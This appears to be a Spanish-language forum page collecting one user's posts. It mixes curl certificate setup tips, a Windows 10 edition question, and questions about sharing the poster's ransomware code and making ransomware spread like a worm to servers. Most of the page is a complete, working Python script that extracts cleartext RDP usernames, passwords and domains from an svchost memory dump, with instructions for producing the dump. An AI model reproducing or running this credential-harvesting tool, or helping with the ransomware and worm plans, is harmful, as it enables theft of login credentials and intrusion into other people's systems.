Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
CitarUn pregunta como puedo compartir mi código (ransow) en python para que me alguien que sepa me de su opinión?
CitarUn ransomware puede también tener la funciones de un gusano y desde un pc llegar a los servidores??
Citar
Download the latest cacert.pem from https://curl.haxx.se/ca/cacert.pem
Add the following line to php.ini: (if this is shared hosting and you don't have access to php.ini then you could add this to .user.ini in public_html).
curl.cainfo="/path/to/downloaded/cacert.pem"
Make sure you enclose the path within double quotation marks!!!
CitarI found out you need to download the .pem file here https://curl.haxx.se/docs/caextract.html
And add these settings...
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYSTATUS, 1);
curl_easy_setopt(curl, CURLOPT_CAINFO, "PATH TO FILE\\cacert.pem");
curl_easy_setopt(curl, CURLOPT_CAPATH, "PATH TO FILE\\cacert.pem");
CitarCuando vuelve la conexión, tiene picos muy altos de subida.
Cita de: win_7 en 18 Mayo 2021, 21:39 PM
Que ventajas tiene Windows 10 premium al Windows 10 home?
Se puede instalar mediante ISO Windows 10 Premium, gratis?
import re
from collections import namedtuple
import sys
# Clear text password recovery from mem dump as found by @jonasLyk Tweet : https://twitter.com/jonasLyk/status/1393058962942083076
# borrowed python code from Willi Ballenthin -> https://gist.github.com/williballenthin/8e3913358a7996eab9b96bd57fc59df2
# code inspired by @gentilkiwi 's video
# This is for those who like me wanted to play with this discovery a little and dirty python3 script while waiting to see another module in the great mimikatz tool
# I'm no dev so PR and constructive remarks are welcome
ASCII_BYTE = rb" !\"#\$%&\'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}\\\~\t"
RDP_Strings = ['RDPDD', 'RDV::RDP::NetDetect::BandwidthChange'] #Server 2008 and Server 2016 tested only
String = namedtuple("String", ["s", "offset"])
def ascii_strings(buf, n=4):
reg = rb"([%s]{%d,})" % (ASCII_BYTE, n)
ascii_re = re.compile(reg)
for match in ascii_re.finditer(buf):
yield String(match.group().decode("ascii"), match.start())
def unicode_strings(buf, n=4):
reg = rb"((?:[%s]\x00){%d,})" % (ASCII_BYTE, n)
uni_re = re.compile(reg)
for match in uni_re.finditer(buf):
try:
yield String(match.group().decode("utf-16"), match.start())
except UnicodeDecodeError:
pass
def getdomain(buf):
return buf.decode("UTF-16)")
def banner():
print(' _____ ____ _____ _ ')
print('| __ | \| _ | ___| |___ ___ ___ ')
print('| -| | | __| | _| | -_| .\'| _|')
print('|__|__|____/|__| _____|___|_|___|__,|_| ')
print(' |_____| ')
def main():
import sys
SVCHOST = False
Last1 = ""
Last2 = ""
Last3 = ""
SERVERNAME=""
with open(sys.argv[1], 'rb') as f:
b = f.read()
for s in ascii_strings(b, n=4):
if format(s.s).find("svchost.exe -k termsvcs")!=-1:
print('[*] Analyse of dump of process : {:s}'.format( s.s))
SVCHOST = True
if format(s.s).find("COMPUTERNAME=")!=-1:
#print('[+] SERVERNAME : ' +s.s[13:])
SERVERNAME=s.s[13:]
break
if (SVCHOST):
print("\n")
for s in unicode_strings(b):
#print('[+] {:d} 0x{:d}: {:s}'.format(0,s.offset, s.s))
if s.s in RDP_Strings:
if (s.offset - Last1.offset) < 3000:
if (Last1.offset-Last2.offset==512):
#print('[+] User :{:d} 0x{:d}: {:s}'.format((s.offset - Last2.offset), Last2.offset, Last2.s))
print('[+] User : \t{:s}'.format(Last2.s))
#print('[+] Password : {:d} 0x{:d}: {:s}'.format((s.offset - Last1.offset), Last1.offset, Last1.s))
print('[+] Password : \t{:s}'.format(Last1.s))
if ((Last2.offset-Last3.offset) == 512) :
print('[+] Domain : \t{:d} 0x{:d}: {:s}'.format((s.offset - Last3.offset), Last3.offset, Last3.s))
break
else:
# bug in case string is less than 4 char
domain = b[Last2.offset-512:Last2.offset]
if getdomain(domain).strip('\x00')!="":
print('[+] Domain : \t{:s}'.format(getdomain(domain)))
else: # can be empty, then it's local
print("[+] ServerName : \t"+SERVERNAME)
break
Last3=Last2
Last2=Last1
Last1=s
else:
print(sys.argv[1] + " doesn't seem to be a svchost dump file")
if __name__ == "__main__":
banner()
if len(sys.argv) != 2:
print("\n\nDump svchost process which listens to port 3389 port with any procdump tool")
print("")
print("Usage: " + sys.argv[0] + " svchost.dmp")
exit(0)
main()